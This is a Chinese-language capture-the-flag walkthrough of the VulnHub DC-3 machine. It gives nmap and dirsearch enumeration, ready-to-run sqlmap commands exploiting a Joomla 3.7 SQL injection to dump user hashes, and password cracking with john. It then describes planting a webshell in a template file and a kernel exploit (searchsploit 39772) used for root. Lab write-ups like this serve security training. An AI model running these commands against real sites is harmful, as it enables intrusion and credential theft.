DC-3靶场下载地址:************https://download.vulnhub.com/dc/DC-3-2.zip****************
目标
本机IP:192.168.118.128
靶机IP:192.168.118.0/24
信息收集
nmap扫描存活主机,扫描端口,扫描服务
nmap -sP 192.168.118.0/24
nmap -p- 192.168.118.140
nmap -sV -A 192.168.118.140
第一步首先得出目ip为192.168.118.140
然后发现只开启一个80端口

访问web页面:http://192.168.118.140,发现一个登录页面

上面信息提示我们只有一个flag,很明显这次目标最终的获取root权限
除此之外,尝试这个登录页面,并没有什么卵用,也在没有了其他信息
web信息收集,使用whatweb工具查找web信息
bash
whatweb http://192.168.118.140
得出了一个CMS信息:Joomla
表面信息无从下手之后,我们用dirsearch扫一下目录看看。
bash
dirsearch -u http://192.168.118.140

经过测试发现了两个重要的目录,/administrator/ 和 /README.txt
分别进去查看一下
http://192.168.118.140/administrator/,发现是一个后台登录页面

http://192.168.118.140/README.txt,找到里面有重要信息, CMS版本信息为Joomla 3.7

查询漏洞
bash
searchsploit joomla 3.7.0

发现SQL注入漏洞,进去查看一下漏洞信息
bash
searchsploit -x php/webapps/42033.txt

发现是一个CVE漏洞, 后面也给出了利用方法
sqlmap
跑数据库
bash
sqlmap -u "http://192.168.118.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

选joomladb,跑表名
bash
sqlmap -u "http://192.168.118.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' --tables -p list[fullordering]

选 #__users,跑列名
bash
sqlmap -u "http://192.168.118.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' -T '#_users' --columns -p list[fullordering]

跑出账号密码
bash
sqlmap -u "http://192.168.118.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C username,password --dump -p list[fullordering]

得到了用户名和密码,发现密码是一串密文
将密文保存到文件中,使用john工具解密一下,得到了密码snoopy
bash
john pass.txt

使用得到的账号密码(admin :snoopy)登录刚开始探测出的后台页面
登录进去寻找,在这里会看到可以让我们上传文件的地方,但这里我们可以看到他的文件是可以修改的,那我们直接随便访问一个php文件,这里我们打开error.php


上传webshell
发现这里可以写入文件后,尝试文件上传
将 error.php 文件内容修改为我们的一句话木马

根据模块提示,我们猜测路径为 /templates/beez3/error.php
使用蚁剑连接


whoami,发现此时是一个普通权限
提权
终于是又一次成功的拿到了shell,接下来就还是最开始的问题,开始进行提权。
首先查看一下版本信息,得到版本信息为 Ubuntu 16.04,Linux version 4.4.0-21
bash
cat /proc/version
cat /etc/issue

直接查找一下漏洞
bash
searchsploit Ubuntu 16.04

发现这里有好多,大多数都是和提权相关的,结合前面查询到的版本信息,我们寻找4.4版本的,还是有很多可以利用的
使用 -x 去查看相关漏洞的详细信息查询(可以都去尝试一下有用的,这里就直接使用39772.txt了)
bash
searchsploit -x linux/local/39772.txt

里面给出了使用方法和exp链接
先根据提示下载攻击压缩包,下载好之后直接使用蚁剑上传到 DC-3 靶机里面


解压文件,进入39772目录,结合前面漏洞描述给出的方法,运行漏洞脚本


成功获得root权限
最后在root的home目录下找到flag